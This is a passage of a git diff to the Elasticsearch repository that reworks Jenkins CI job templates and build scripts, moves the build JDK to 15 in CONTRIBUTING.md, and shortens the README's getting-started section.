%BRANCH% - pull request part-2 fips" + description: "Testing of Elasticsearch pull requests - part-2 fips" + workspace: "/dev/shm/elastic+elasticsearch+%BRANCH%+pull-request+part-2-fips" + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/part-2-fips.*' + github-hooks: true + status-context: elasticsearch-ci/part-2-fips + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + excluded-regions: + - ^docs/.* + white-list-labels: + - ':Security/FIPS' + black-list-labels: + - '>test-mute' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dignore.tests.seed checkPart2 diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+part-2.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+part-2.yml new file mode 100644 index 0000000000000..b77edcd3759be --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+part-2.yml @@ -0,0 +1,5 @@ +--- +jjbb-template: pull-request-gradle-unix.yml +vars: + - pr-job: "part-2" + - gradle-args: "-Dignore.tests.seed checkPart2" diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+precommit.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+precommit.yml new file mode 100644 index 0000000000000..7a3353ab5f355 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+precommit.yml @@ -0,0 +1,35 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+precommit" + display-name: "elastic / elasticsearch # %BRANCH% - pull request precommit" + description: "Testing of Elasticsearch pull requests - precommit" + workspace: "/dev/shm/elastic+elasticsearch+%BRANCH%+pull-request+precommit" + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/precommit.*' + github-hooks: true + status-context: elasticsearch-ci/precommit + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + included-regions: + - ^docs/.* + black-list-labels: + - '>test-mute' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dignore.tests.seed precommit diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+rest-compatibility.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+rest-compatibility.yml new file mode 100644 index 0000000000000..58f2bf302a06f --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+rest-compatibility.yml @@ -0,0 +1,5 @@ +--- +jjbb-template: pull-request-gradle-unix.yml +vars: + - pr-job: "rest-compatibility" + - gradle-args: "-Dignore.tests.seed checkRestCompat" diff --git a/.ci/make-branch-config.sh b/.ci/make-branch-config.sh index ecbdfe3f3a9c6..83953e76e3c24 100755 --- a/.ci/make-branch-config.sh +++ b/.ci/make-branch-config.sh @@ -1,11 +1,15 @@ -#!/bin/bash +#!/bin/bash -if [ -z "$BRANCH" ] ; then +if [ -z "$BRANCH" ] ; then echo "BRANCH is unset" exit 1 -fi +fi -rm -Rf .ci/jobs -cp -r .ci/jobs.t .ci/jobs - -sed -i "s/%BRANCH%/${BRANCH}/g" .ci/jobs/*.yml +folders=("jobs" "templates" "views") +for folder in "${folders[@]}" +do + rm -Rf .ci/$folder; + mkdir -p .ci/$folder + cp -r .ci/${folder}.t/* .ci/$folder/ + sed -i "s/%BRANCH%/${BRANCH}/g" .ci/$folder/*.yml +done diff --git a/.ci/matrix-runtime-javas.yml b/.ci/matrix-runtime-javas.yml index 06ab44394f9e7..632fa0fa8415a 100644 --- a/.ci/matrix-runtime-javas.yml +++ b/.ci/matrix-runtime-javas.yml @@ -7,8 +7,8 @@ ES_RUNTIME_JAVA: - java11 - - openjdk15 - openjdk16 - zulu11 - corretto11 - adoptopenjdk11 + - openjdk17 diff --git a/.ci/matrix-vagrant-packaging.yml b/.ci/matrix-vagrant-packaging.yml deleted file mode 100644 index fdda11ac0ab36..0000000000000 --- a/.ci/matrix-vagrant-packaging.yml +++ /dev/null @@ -1,17 +0,0 @@ -# This file is used as part of a matrix build in Jenkins where the -# values below are included as an axis of the matrix. - -# This axis of the build matrix represents the versions subprojects -# of the :qa:os project which will be tested on a metal CI worker -# for the purposes of verifying of Vagrant-based tooling - -OS: - - centos-7 - - debian-9 - - fedora-28 - - fedora-29 - - oel-7 - - sles-12 - - ubuntu-1804 - - windows-2012r2 - - windows-2016 diff --git a/.ci/packer_cache.sh b/.ci/packer_cache.sh index ab93c839b9cc9..e392bd0196f75 100755 --- a/.ci/packer_cache.sh +++ b/.ci/packer_cache.sh @@ -15,22 +15,30 @@ while [ -h "$SCRIPT" ] ; do fi done -source $(dirname "${SCRIPT}")/java-versions.properties -## We are caching BWC versions too, need these so we can build those -export JAVA8_HOME="${HOME}"/.java/java8 -export JAVA11_HOME="${HOME}"/.java/java11 -export JAVA12_HOME="${HOME}"/.java/openjdk12 -export JAVA13_HOME="${HOME}"/.java/openjdk13 -export JAVA14_HOME="${HOME}"/.java/openjdk14 +if [ "$(uname -m)" = "arm64" ] || [ "$(uname -m)" = "aarch64" ]; then + ## On ARM we use a different properties file for setting java home + ## Also, we don't bother attempting to resolve dependencies for the 6.8 branch + source $(dirname "${SCRIPT}")/java-versions-aarch64.properties +else + source $(dirname "${SCRIPT}")/java-versions.properties + ## We are caching BWC versions too, need these so we can build those + export JAVA8_HOME="${HOME}"/.java/java8 + export JAVA11_HOME="${HOME}"/.java/java11 + export JAVA12_HOME="${HOME}"/.java/openjdk12 + export JAVA13_HOME="${HOME}"/.java/openjdk13 + export JAVA14_HOME="${HOME}"/.java/openjdk14 + export JAVA15_HOME="${HOME}"/.java/openjdk15 + + ## 6.8 branch is not referenced from any bwc project in master so we need to + ## resolve its dependencies explicitly + rm -rf checkout/6.8 + git clone --reference $(dirname "${SCRIPT}")/../.git https://github.com/elastic/elasticsearch.git --branch 6.8 --single-branch checkout/6.8 + export JAVA_HOME="${JAVA11_HOME}" + ./checkout/6.8/gradlew --project-dir ./checkout/6.8 --parallel clean --scan -Porg.elasticsearch.acceptScanTOS=true --stacktrace resolveAllDependencies + rm -rf ./checkout/6.8 +fi -## 6.8 branch is not referenced from any bwc project in master so we need to -## resolve its dependencies explicitly -rm -rf checkout/6.8 -git clone --reference $(dirname "${SCRIPT}")/../.git https://github.com/elastic/elasticsearch.git --branch 6.8 --single-branch checkout/6.8 -export JAVA_HOME="${JAVA11_HOME}" -./checkout/6.8/gradlew --project-dir ./checkout/6.8 --parallel clean --scan -Porg.elasticsearch.acceptScanTOS=true --stacktrace resolveAllDependencies -rm -rf ./checkout/6.8 ## Gradle is able to resolve dependencies resolved with earlier gradle versions ## therefore we run master _AFTER_ we run 6.8 which uses an earlier gradle version export JAVA_HOME="${HOME}"/.java/${ES_BUILD_JAVA} -./gradlew --parallel clean -s resolveAllDependencies +./gradlew --parallel clean -s resolveAllDependencies -Dorg.gradle.warning.mode=none diff --git a/.ci/scripts/packaging-test.ps1 b/.ci/scripts/packaging-test.ps1 new file mode 100644 index 0000000000000..0fa43c4b250fa --- /dev/null +++ b/.ci/scripts/packaging-test.ps1 @@ -0,0 +1,32 @@ +param($GradleTasks='destructiveDistroTest') + +If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) +{ + # Relaunch as an elevated process: + Start-Process powershell.exe "-File",('"{0}"' -f $MyInvocation.MyCommand.Path) -Verb RunAs + exit +} + +$AppProps = ConvertFrom-StringData (Get-Content .ci/java-versions.properties -raw) +$env:ES_BUILD_JAVA=$AppProps.ES_BUILD_JAVA +$env:ES_RUNTIME_JAVA=$AppProps.ES_RUNTIME_JAVA + +$ErrorActionPreference="Stop" +$gradleInit = "C:\Users\$env:username\.gradle\init.d\" +echo "Remove $gradleInit" +Remove-Item -Recurse -Force $gradleInit -ErrorAction Ignore +New-Item -ItemType directory -Path $gradleInit +echo "Copy .ci/init.gradle to $gradleInit" +Copy-Item .ci/init.gradle -Destination $gradleInit + +[Environment]::SetEnvironmentVariable("JAVA_HOME", $null, "Machine") +$env:PATH="C:\Users\jenkins\.java\$env:ES_BUILD_JAVA\bin\;$env:PATH" +$env:JAVA_HOME=$null +$env:SYSTEM_JAVA_HOME="C:\Users\jenkins\.java\$env:ES_RUNTIME_JAVA" +Remove-Item -Recurse -Force \tmp -ErrorAction Ignore +New-Item -ItemType directory -Path \tmp + +$ErrorActionPreference="Continue" +& .\gradlew.bat -g "C:\Users\$env:username\.gradle" --parallel --no-daemon --scan --console=plain $GradleTasks + +exit $LastExitCode diff --git a/.ci/scripts/packaging-test.sh b/.ci/scripts/packaging-test.sh new file mode 100755 index 0000000000000..1509a2091d29b --- /dev/null +++ b/.ci/scripts/packaging-test.sh @@ -0,0 +1,71 @@ +#!/bin/bash + +# opensuse 15 has a missing dep for systemd + +if which zypper > /dev/null ; then + sudo zypper install -y insserv-compat +fi + +if [ -e /etc/sysctl.d/99-gce.conf ]; then + # The GCE defaults disable IPv4 forwarding, which breaks the Docker + # build. Workaround this by renaming the file so that it is executed + # earlier than our own overrides. + # + # This ultimately needs to be fixed at the image level - see infra + # issue 15654. + sudo mv /etc/sysctl.d/99-gce.conf /etc/sysctl.d/98-gce.conf +fi + +# Required by bats +sudo touch /etc/is_vagrant_vm +sudo useradd vagrant + +set -e + +. .ci/java-versions.properties +RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA +BUILD_JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + +rm -Rfv $HOME/.gradle/init.d/ && mkdir -p $HOME/.gradle/init.d +cp -v .ci/init.gradle $HOME/.gradle/init.d + +unset JAVA_HOME + +if [ -f "/etc/os-release" ] ; then + cat /etc/os-release + . /etc/os-release + if [[ "$ID" == "debian" || "$ID_LIKE" == "debian" ]] ; then + # FIXME: The base image should not have rpm installed + sudo rm -Rf /usr/bin/rpm + # Work around incorrect lintian version + # https://github.com/elastic/elasticsearch/issues/48573 + if [ $VERSION_ID == 10 ] ; then + sudo apt-get install -y --allow-downgrades lintian=2.15.0 + fi + fi +else + cat /etc/issue || true +fi + +sudo bash -c 'cat > /etc/sudoers.d/elasticsearch_vars' << SUDOERS_VARS + Defaults env_keep += "ES_JAVA_HOME" + Defaults env_keep += "JAVA_HOME" + Defaults env_keep += "SYSTEM_JAVA_HOME" +SUDOERS_VARS +sudo chmod 0440 /etc/sudoers.d/elasticsearch_vars + +# Bats tests still use this locationa +sudo rm -Rf /elasticsearch +sudo mkdir -p /elasticsearch/qa/ && sudo chown jenkins /elasticsearch/qa/ && ln -s $PWD/qa/vagrant /elasticsearch/qa/ + +# sudo sets it's own PATH thus we use env to override that and call sudo annother time so we keep the secure root PATH +# run with --continue to run both bats and java tests even if one fails +# be explicit about Gradle home dir so we use the same even with sudo +sudo -E env \ + PATH=$BUILD_JAVA_HOME/bin:`sudo bash -c 'echo -n $PATH'` \ + RUNTIME_JAVA_HOME=`readlink -f -n $RUNTIME_JAVA_HOME` \ + --unset=ES_JAVA_HOME \ + --unset=JAVA_HOME \ + SYSTEM_JAVA_HOME=`readlink -f -n $RUNTIME_JAVA_HOME` \ + ./gradlew -g $HOME/.gradle --scan --parallel --continue $@ + diff --git a/.ci/scripts/run-gradle.sh b/.ci/scripts/run-gradle.sh new file mode 100755 index 0000000000000..670bc97e1d112 --- /dev/null +++ b/.ci/scripts/run-gradle.sh @@ -0,0 +1,23 @@ +#!/bin/bash +# drop page cache and kernel slab objects on linux +[[ -x /usr/local/sbin/drop-caches ]] && sudo /usr/local/sbin/drop-caches +rm -Rfv ~/.gradle/init.d +mkdir -p ~/.gradle/init.d && cp -v $WORKSPACE/.ci/init.gradle ~/.gradle/init.d +if [ "$(uname -m)" = "arm64" ] || [ "$(uname -m)" = "aarch64" ]; then + MAX_WORKERS=16 +elif [ -f /proc/cpuinfo ]; then + MAX_WORKERS=`grep '^cpu\scores' /proc/cpuinfo | uniq | sed 's/\s\+//g' | cut -d':' -f 2` +else + if [[ "$OSTYPE" == "darwin"* ]]; then + MAX_WORKERS=`sysctl -n hw.physicalcpu | sed 's/\s\+//g'` + else + echo "Unsupported OS Type: $OSTYPE" + exit 1 + fi +fi +if pwd | grep -v -q ^/dev/shm ; then + echo "Not running on a ramdisk, reducing number of workers" + MAX_WORKERS=$(($MAX_WORKERS*2/3)) +fi +set -e +$GRADLEW -S --max-workers=$MAX_WORKERS $@ diff --git a/.ci/teamcity.init.gradle b/.ci/teamcity.init.gradle deleted file mode 100644 index 91436b8805e0c..0000000000000 --- a/.ci/teamcity.init.gradle +++ /dev/null @@ -1,36 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -gradle.settingsEvaluated { settings -> - String buildCacheUrl = System.getProperty('org.elasticsearch.build.cache.url') - boolean buildCachePush = Boolean.valueOf(System.getProperty('org.elasticsearch.build.cache.push', 'false')) - - if (buildCacheUrl) { - settings.buildCache { - local { - // Disable the local build cache in CI since we use ephemeral workers and it incurs an IO penalty - enabled = false - } - remote(HttpBuildCache) { - url = buildCacheUrl - push = buildCachePush -// credentials { -// username = buildCacheCredentials.get("username") -// password = buildCacheCredentials.get("password") -// } - } - } - } - - // Update build configuration parameter with latest published build scan - settings.pluginManager.withPlugin('com.gradle.enterprise') { - settings.gradleEnterprise.buildScan.buildScanPublished { scan -> - println "##teamcity[setParameter name='gradle.build.scan' value='${scan.buildScanUri}']" - } - } -} diff --git a/.ci/templates.t/generic-gradle-unix.yml b/.ci/templates.t/generic-gradle-unix.yml new file mode 100644 index 0000000000000..a5adc34f93204 --- /dev/null +++ b/.ci/templates.t/generic-gradle-unix.yml @@ -0,0 +1,16 @@ +--- +- job: + name: "{job-name}" + display-name: "{job-display-name}" + description: "{job-description}" + workspace: /dev/shm/{job-name} + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/openjdk15 + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh {gradle-args} diff --git a/.ci/templates.t/matrix-gradle-unix.yml b/.ci/templates.t/matrix-gradle-unix.yml new file mode 100644 index 0000000000000..4952a31674ec7 --- /dev/null +++ b/.ci/templates.t/matrix-gradle-unix.yml @@ -0,0 +1,31 @@ +--- +- job: + name: "{job-name}" + display-name: "{job-display-name}" + description: "{job-description}" + project-type: matrix + child-workspace: /dev/shm/{job-name} + node: master + scm: + - git: + wipe-workspace: false + axes: + - axis: + type: slave + name: nodes + values: + - "general-purpose" + - axis: + type: yaml + filename: "{matrix-yaml-file}" + name: "{matrix-variable}" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/openjdk15 + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh {gradle-args} diff --git a/.ci/templates.t/periodic-trigger-lgc.yml b/.ci/templates.t/periodic-trigger-lgc.yml new file mode 100644 index 0000000000000..1a42bd7472d2a --- /dev/null +++ b/.ci/templates.t/periodic-trigger-lgc.yml @@ -0,0 +1,26 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+triggers/{periodic-job}-trigger" + display-name: "{periodic-job}-trigger" + description: "Scheduled trigger for {periodic-job}" + node: master + scm: [] + properties: [] + parameters: [] + publishers: [] + triggers: + - timed: "{cron}" + builders: + - shell: | + #!/usr/bin/env bash + set -o pipefail + echo "Retrieving last good commit for job '{lgc-job}'" + echo branch_specifier=$(curl -s "${JENKINS_URL}job/{lgc-job}/lastSuccessfulBuild/api/json" | jq -r -e '.actions | map(select(._class == "hudson.plugins.git.util.BuildData")) | .[] | .lastBuiltRevision.SHA1' || echo "refs/heads/%BRANCH%") > trigger.properties + echo "Trigger properties:" $(cat trigger.properties) + - trigger-builds: + - project: "{periodic-job}" + current-parameters: false + git-revision: false + parameter-factories: + - factory: filebuild + file-pattern: trigger.properties diff --git a/.ci/templates.t/pull-request-gradle-unix.yml b/.ci/templates.t/pull-request-gradle-unix.yml new file mode 100644 index 0000000000000..a8e3e0c09acbb --- /dev/null +++ b/.ci/templates.t/pull-request-gradle-unix.yml @@ -0,0 +1,36 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+{pr-job}" + display-name: "elastic / elasticsearch # %BRANCH% - pull request {pr-job}" + description: "Testing of Elasticsearch pull requests - {pr-job}" + workspace: "/dev/shm/elastic+elasticsearch+%BRANCH%+pull-request+{pr-job}" + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/{pr-job}.*' + github-hooks: true + status-context: elasticsearch-ci/{pr-job} + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + excluded-regions: + - ^docs/.* + black-list-labels: + - '>test-mute' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/openjdk15 + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh {gradle-args} diff --git a/.ci/views.t/views.yml b/.ci/views.t/views.yml new file mode 100644 index 0000000000000..6d386193467ce --- /dev/null +++ b/.ci/views.t/views.yml @@ -0,0 +1,4 @@ +- view: + name: "Elasticsearch %BRANCH%" + view-type: list + regex: '^elastic[-+]elasticsearch\+%BRANCH%\+((?!multijob).)*$' diff --git a/.gitignore b/.gitignore index 4fed957c61871..fd6449f1c7c4c 100644 --- a/.gitignore +++ b/.gitignore @@ -5,6 +5,7 @@ *.ipr *.iws build-idea/ +# Eclipse and Intellij put there build files in "out" out/ # include shared intellij config @@ -19,6 +20,7 @@ benchmarks/src/main/generated/* .project .classpath .settings +# We don't use this any more, but we'll keep it around in gitignore for a while so we don't accidentally commit it build-eclipse/ # netbeans files @@ -57,8 +59,10 @@ eclipse-build # projects using testfixtures testfixtures_shared/ -# These are generated from .ci/jobs.t +# These are generated from .ci/jobs.t, .ci/templates.t and .ci/views.t .ci/jobs/ +.ci/templates/ +.ci/views/ # Generated checkstyle_ide.xml diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 230e62a7d6876..d59ab3d5035a0 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -110,23 +110,24 @@ Contributing to the Elasticsearch codebase **Repository:** [https://github.com/elastic/elasticsearch](https://github.com/elastic/elasticsearch) -JDK 14 is required to build Elasticsearch. You must have a JDK 14 installation +JDK 15 is required to build Elasticsearch. You must have a JDK 15 installation with the environment variable `JAVA_HOME` referencing the path to Java home for -your JDK 14 installation. By default, tests use the same runtime as `JAVA_HOME`. +your JDK 15 installation. By default, tests use the same runtime as `JAVA_HOME`. However, since Elasticsearch supports JDK 11, the build supports compiling with -JDK 14 and testing on a JDK 11 runtime; to do this, set `RUNTIME_JAVA_HOME` +JDK 15 and testing on a JDK 11 runtime; to do this, set `RUNTIME_JAVA_HOME` pointing to the Java home of a JDK 11 installation. Note that this mechanism can be used to test against other JDKs as well, this is not only limited to JDK 11. > Note: It is also required to have `JAVA8_HOME`, `JAVA9_HOME`, `JAVA10_HOME` -and `JAVA11_HOME`, and `JAVA12_HOME` available so that the tests can pass. +and `JAVA11_HOME`, `JAVA12_HOME`, `JAVA13_HOME`, `JAVA14_HOME`, and `JAVA15_HOME` +available so that the tests can pass. Elasticsearch uses the Gradle wrapper for its build. You can execute Gradle using the wrapper via the `gradlew` script on Unix systems or `gradlew.bat` script on Windows in the root of the repository. The examples below show the usage on Unix. -We support development in IntelliJ versions IntelliJ 2019.2 and +We support development in IntelliJ versions IntelliJ 2020.1 and onwards and Eclipse 2020-3 and onwards. [Docker](https://docs.docker.com/install/) is required for building some Elasticsearch artifacts and executing certain test suites. You can run Elasticsearch without building all the artifacts with: @@ -150,9 +151,9 @@ and then run `curl` in another window like this: ### Importing the project into IntelliJ IDEA The minimum IntelliJ IDEA version required to import the Elasticsearch project is 2020.1 -Elasticsearch builds using Java 14. When importing into IntelliJ you will need +Elasticsearch builds using Java 15. When importing into IntelliJ you will need to define an appropriate SDK. The convention is that **this SDK should be named -"14"** so that the project import will detect it automatically. For more details +"15"** so that the project import will detect it automatically. For more details on defining an SDK in IntelliJ please refer to [their documentation](https://www.jetbrains.com/help/idea/sdk.html#define-sdk). SDK definitions are global, so you can add the JDK from any project, or after project import. Importing with a missing JDK will still work, IntelliJ will @@ -215,7 +216,7 @@ automatically formatted in [gradle/formatting.gradle](gradle/formatting.gradle). ### Importing the project into Eclipse -Elasticsearch builds using Gradle and Java 14. When importing into Eclipse you +Elasticsearch builds using Gradle and Java 15. When importing into Eclipse you will either need to use an appropriate JDK to run Eclipse itself (e.g. by specifying the VM in [eclipse.ini](https://wiki.eclipse.org/Eclipse.ini) or by defining the JDK Gradle uses by setting **Preferences** > **Gradle** > @@ -435,11 +436,16 @@ is to be helpful, not to turn writing code into a chore. regular comments in the code. Remember as well that Elasticsearch has extensive [user documentation](./docs), and it is not the role of Javadoc to replace that. + * If a method's performance is "unexpected" then it's good to call that + out in the Javadoc. This is especially helpful if the method is usually fast but sometimes + very slow (shakes fist at caching). 12. Please still try to make class, method or variable names as descriptive and concise as possible, as opposed to relying solely on Javadoc to describe something. - 13. Use `@link` and `@see` to add references, either to related - resources in the codebase or to relevant external resources. + 13. Use `@link` to add references to related resources in the codebase. Or + outside the code base. + 1. `@see` is much more limited than `@link`. You can use it but most of + the time `@link` flows better. 14. If you need help writing Javadoc, just ask! Finally, use your judgement! Base your decisions on what will help other diff --git a/README.asciidoc b/README.asciidoc index bbe94b3ca2707..1391b1903f7f8 100644 --- a/README.asciidoc +++ b/README.asciidoc @@ -1,201 +1,51 @@ = Elasticsearch -== A Distributed RESTful Search Engine +Elasticsearch is the distributed, RESTful search and analytics engine at the +heart of the https://www.elastic.co/products[Elastic Stack]. You can use +Elasticsearch to store, search, and manage data for: -=== https://www.elastic.co/products/elasticsearch[https://www.elastic.co/products/elasticsearch] +* Logs +* Metrics +* A search backend +* Application monitoring +* Endpoint security -Elasticsearch is a distributed RESTful search engine built for the cloud. Features include: +\... and more! -* Distributed and Highly Available Search Engine. -** Each index is fully sharded with a configurable number of shards. -** Each shard can have one or more replicas. -** Read / Search operations performed on any of the replica shards. -* Multi-tenant. -** Support for more than one index. -** Index level configuration (number of shards, index storage, etc.). -* Various set of APIs -** HTTP RESTful API -** All APIs perform automatic node operation rerouting. -* Document oriented -** No need for upfront schema definition. -** Schema can be defined for customization of the indexing process. -* Reliable, Asynchronous Write Behind for long term persistency. -* Near real-time search. -* Built on top of Apache Lucene -** Each shard is a fully functional Lucene index -** All the power of Lucene easily exposed through simple configuration and plugins. -* Per operation consistency -** Single document-level operations are atomic, consistent, isolated, and durable. +To learn more about Elasticsearch's features and capabilities, see our +https://www.elastic.co/products/elasticsearch[product page]. -== Getting Started +[[get-started]] +== Get started -First of all, DON'T PANIC. It will take 5 minutes to get the gist of what Elasticsearch is all about. +The simplest way to set up Elasticsearch is to create a managed deployment with +https://www.elastic.co/cloud/as-a-service[Elasticsearch Service on Elastic +Cloud]. -=== Installation +If you prefer to install and manage Elasticsearch yourself, you can download +the latest version from +https://www.elastic.co/downloads/elasticsearch[elastic.co/downloads/elasticsearch]. -* https://www.elastic.co/downloads/elasticsearch[Download] and unpack the Elasticsearch official distribution. -* Run `bin/elasticsearch` on Linux or macOS. Run `bin\elasticsearch.bat` on Windows. -* Run `curl -X GET http://localhost:9200/` to verify Elasticsearch is running. +For more installation options, see the +https://www.elastic.co/guide/en/elasticsearch/reference/current/install-elasticsearch.html[Elasticsearch installation +documentation]. -=== Indexing +[[upgrade]] +== Upgrade -First, index some sample JSON documents. The first request automatically creates -the `my-index-000001` index. +To upgrade from an earlier version of Elasticsearch, see the +https://www.elastic.co/guide/en/elasticsearch/reference/current/setup-upgrade.html[Elasticsearch upgrade +documentation]. ----- -curl -X POST 'http://localhost:9200/my-index-000001/_doc?pretty' -H 'Content-Type: application/json' -d ' -{ - "@timestamp": "2099-11-15T13:12:00", - "message": "GET /search HTTP/1.1 200 1070000", - "user": { - "id": "kimchy" - } -}' - -curl -X POST 'http://localhost:9200/my-index-000001/_doc?pretty' -H 'Content-Type: application/json' -d ' -{ - "@timestamp": "2099-11-15T14:12:12", - "message": "GET /search HTTP/1.1 200 1070000", - "user": { - "id": "elkbee" - } -}' - -curl -X POST 'http://localhost:9200/my-index-000001/_doc?pretty' -H 'Content-Type: application/json' -d ' -{ - "@timestamp": "2099-11-15T01:46:38", - "message": "GET /search HTTP/1.1 200 1070000", - "user": { - "id": "elkbee" - } -}' ----- - -=== Search - -Next, use a search request to find any documents with a `user.id` of `kimchy`. - ----- -curl -X GET 'http://localhost:9200/my-index-000001/_search?q=user.id:kimchy&pretty=true' ----- - -Instead of a query string, you can use Elasticsearch's -https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl.html[Query -DSL] in the request body. - ----- -curl -X GET 'http://localhost:9200/my-index-000001/_search?pretty=true' -H 'Content-Type: application/json' -d ' -{ - "query" : { - "match" : { "user.id": "kimchy" } - } -}' ----- - -You can also retrieve all documents in `my-index-000001`. - ----- -curl -X GET 'http://localhost:9200/my-index-000001/_search?pretty=true' -H 'Content-Type: application/json' -d ' -{ - "query" : { - "match_all" : {} - } -}' ----- - -During indexing, Elasticsearch automatically mapped the `@timestamp` field as a -date. This lets you run a range search. - ----- -curl -X GET 'http://localhost:9200/my-index-000001/_search?pretty=true' -H 'Content-Type: application/json' -d ' -{ - "query" : { - "range" : { - "@timestamp": { - "from": "2099-11-15T13:00:00", - "to": "2099-11-15T14:00:00" - } - } - } -}' ----- - -=== Multiple indices - -Elasticsearch supports multiple indices. The previous examples used an index -called `my-index-000001`. You can create another index, `my-index-000002`, to -store additional data when `my-index-000001` reaches a certain age or size. You -can also use separate indices to store different types of data. - -You can configure each index differently. The following request -creates `my-index-000002` with two primary shards rather than the default of -one. This may be helpful for larger indices. - ----- -curl -X PUT 'http://localhost:9200/my-index-000002?pretty' -H 'Content-Type: application/json' -d ' -{ - "settings" : { - "index.number_of_shards" : 2 - } -}' ----- - -You can then add a document to `my-index-000002`. - ----- -curl -X POST 'http://localhost:9200/my-index-000002/_doc?pretty' -H 'Content-Type: application/json' -d ' -{ - "@timestamp": "2099-11-16T13:12:00", - "message": "GET /search HTTP/1.1 200 1070000", - "user": { - "id": "kimchy" - } -}' ----- - -You can search and perform other operations on multiple indices with a single -request. The following request searches `my-index-000001` and `my-index-000002`. - ----- -curl -X GET 'http://localhost:9200/my-index-000001,my-index-000002/_search?pretty=true' -H 'Content-Type: application/json' -d ' -{ - "query" : { - "match_all" : {} - } -}' ----- - -You can omit the index from the request path to search all indices. - ----- -curl -X GET 'http://localhost:9200/_search?pretty=true' -H 'Content-Type: application/json' -d ' -{ - "query" : { - "match_all" : {} - } -}' ----- - -=== Distributed, highly available - -Let's face it; things will fail... - -Elasticsearch is a highly available and distributed search engine. Each index is broken down into shards, and each shard can have one or more replicas. By default, an index is created with 1 shard and 1 replica per shard (1/1). Many topologies can be used, including 1/10 (improve search performance) or 20/1 (improve indexing performance, with search executed in a MapReduce fashion across shards). - -To play with the distributed nature of Elasticsearch, bring more nodes up and shut down nodes. The system will continue to serve requests (ensure you use the correct HTTP port) with the latest data indexed. - -=== Where to go from here? - -We have just covered a tiny portion of what Elasticsearch is all about. For more information, please refer to the https://www.elastic.co/products/elasticsearch[elastic.co] website. General questions can be asked on the https://discuss.elastic.co[Elastic Forum] or https://ela.st/slack[on Slack]. The Elasticsearch GitHub repository is reserved for bug reports and feature requests only. - -=== Building from source +[[build-source]] +== Build from source Elasticsearch uses https://gradle.org[Gradle] for its build system. -To build a distribution for your local OS and print its output location upon +To build a distribution for your local OS and print its output location upon completion, run: ---- -./gradlew localDistro +./gradlew localDistro ---- To build a distribution for another platform, run the related command: @@ -210,10 +60,31 @@ To build distributions for all supported platforms, run: ./gradlew assemble ---- -Finished distributions are output to `distributions/archives`. +Distributions are output to `distributions/archives`. + +To run the test suite, see 